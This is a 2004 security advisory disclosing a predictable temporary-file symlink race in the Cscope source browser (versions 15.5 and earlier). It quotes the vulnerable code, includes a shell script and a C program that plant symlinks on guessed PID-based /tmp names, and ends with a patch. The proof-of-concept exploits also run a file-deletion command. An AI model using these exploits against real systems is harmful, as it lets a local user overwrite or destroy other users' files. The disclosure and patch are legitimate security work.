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RX171104 Cscope v15.5 and minors - symlink vulnerability - advisory, exploit and patch.
From: rexolab <research () rexotec com>
Date: Thu, 18 Nov 2004 01:27:18 +0400


|############################ REXOTEC(dot)COM ###############################
|
|=-----=[ ADV RX171104 - Cscope :: Race condition on temporary file  ]-----=|
|
|
|=---[ - INFORMATION
     `----------------------------------------------------------------------|
   VulnDiscovery:       2003/05/21
   Release Date :       2004/11/17
   Author       :       Gangstuck / Psirac <research () rexotec com>

   Application  :       Cscope
   Affected     :       All version (last one is cscope-15.5)
   Platforms    :       Linux, SCO, SunOS/Solaris, ...
   Risk         :       Critical
   Severity     :       Allow local user to compromise filesystem.

   Vendor       :       http://cscope.sourceforge.net/
   Reference    :       http://www.rexotec.com/advisory/RX171104.html

   Status       :       vendor has just been notified.


|=---[ - SUMMARY OVERVIEW
     `----------------------------------------------------------------------|

   Cscope is a developper's tool under the BSD license used to browse 
   source code.

   His Unix pedigree is impeccable and has originally been developped at 
   Bell Labs back in PDP-11's days. Cscope was a part of the official 
   AT&T Unix distribution for many years and has been used to manage
   projects involving 20 million lines of code !


|=---[ - VULNERABILITY OVERVIEW
     `----------------------------------------------------------------------|

   First, the temporary directory (P_tmpdir="/tmp") is badly handled 
   in every myfopen() internal call.
   As all we know, creation of predictable temporary file allows any 
   local attacker to remove arbitrary files on the vulnerable file 
   system via the infamous symlink vulnerability.

        /src/main.c :
           ----------;

                [...]
                char    temp1 [PATHLEN + 1];     /* temporary file name */
                char    temp2 [PATHLEN + 1];     /* temporary file name */
                [...]
                tmpdir = mygetenv("TMPDIR", TMPDIR);
                [...]
                /* create the temporary file names */
                pid = getpid();
                (void) sprintf(temp1, "%s/cscope%d.1", tmpdir, pid);
                (void) sprintf(temp2, "%s/cscope%d.2", tmpdir, pid);
                [...]
                
      Before us are the computing of two predictable files names (resulting
      in a schema like "/tmp/cscopeNEXTPID.numba"). So, we just have to probe 
      the pid numba and make the same template which to be used for
      temporary file creation. Then,  cscope handle the files with
      wrong set of flags and compromise root filesystem due 
      to symlink vulnerability.
        

|=---[ - EXPLOITS - Proof of concept
     `----------------------------------------------------------------------|


---8<--------8<-------cut-here-------8<--------8<---

#!/bin/sh
#################################################################
# RXcscope_proof.sh
# brute force case baby
# cscope advisory and exploit by Gangstuck / Psirac <research () rexotec com>
#################################################################

HOWM=30                                         
CURR=`ps | grep ps | awk '{print $1}'`       
NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1`    
LAST=`expr $NEXT + $HOWM`                   

echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\
        "                 [versions 15.5 and minor]\n"\
        "                   Gangstuck / Psirac\n"\
        "                 <research () rexotec com>\n\n"

if [ $# -lt 1 ]; then
        echo "Usage: $0 <file1> [number_of_guesses]"
        exit 1
fi 

rm -f /tmp/cscope*

echo "Probed next process id ........ [${NEXT}]"

while [ ! "$NEXT" -eq "$LAST" ]; do
        ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1`
        ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1`
done

---8<--------8<-------cut-here-------8<---------8<---

/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE   64

int 
main(int ac, char *av[]) {
        pid_t cur;
        u_int i=0, lst; 
        char buffer[BSIZE + 1];
        
        fprintf(stdout, "\n     --[ Cscope Exploit ]--\n"\
                        "     version 15.5 and minor \n" \
                        "       Gangstuck / Psirac\n" \
                        "     <research () rexotec com>\n\n");
                        
        if (ac != 3) {
                fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
                return 1;
        }
        
        cur=getpid();
        lst=cur+atoi(av[2]);
        
        fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
                        " -> Last process id is ........ [%5d]\n", cur, lst);
        
        while (++cur != lst) {
                snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
                symlink(av[1], buffer);
        }

        return 0;
}

---8<----------8<-------cut-here-------8<-------------8<---



|=---[ - PATCH
     `----------------------------------------------------------------------|

/*
 * Cscope patch by REXOTEC - version 15-5 and minors
 *              <research () rexotec com>
 */
diff -Naurp src/build.c src/build.c
--- src/build.c 2003-03-05 11:43:59.000000000 +0100
+++ src/build.c 2004-11-17 15:01:01.000000000 +0100
@@ -333,7 +333,7 @@ build(void)
                (void) fprintf(stderr, "cscope: cannot open file %s\n", reffile);
                myexit(1);
        }
-       if (invertedindex == YES && (postings = myfopen(temp1, "wb")) == NULL) {
+       if (invertedindex == YES && (postings = myfopen(temp1, "w+xb")) == NULL) {
                cannotwrite(temp1);
                cannotindex();
        }
diff -Naurp src_old/display.c src/display.c
--- src/display.c       2003-09-04 17:54:02.000000000 +0200
+++ src/display.c       2004-11-17 15:01:01.000000000 +0100
@@ -754,13 +754,13 @@ BOOL
 writerefsfound(void)
 {
        if (refsfound == NULL) {
-               if ((refsfound = myfopen(temp1, "wb")) == NULL) {
+               if ((refsfound = myfopen(temp1, "w+xb")) == NULL) {
                        cannotopen(temp1);
                        return(NO);
                }
        } else {
                (void) fclose(refsfound);
-               if ( (refsfound = myfopen(temp1, "wb")) == NULL) {
+               if ( (refsfound = myfopen(temp1, "w+xb")) == NULL) {
                        postmsg("Cannot reopen temporary file");
                        return(NO);
                }



|=---[ - GREETS
     `----------------------------------------------------------------------|

   All the saïan subk crew (marty, med, ezek, rea, jethro, rolphin, candy, 
   ad, titox), descript, crazyl0rd/tium, xia, antho, ceb, lionel, domi 
   #subkulture / #ids on undernet, ...


-- 
cheers,
gangstuck and psirac <research () rexotec com>

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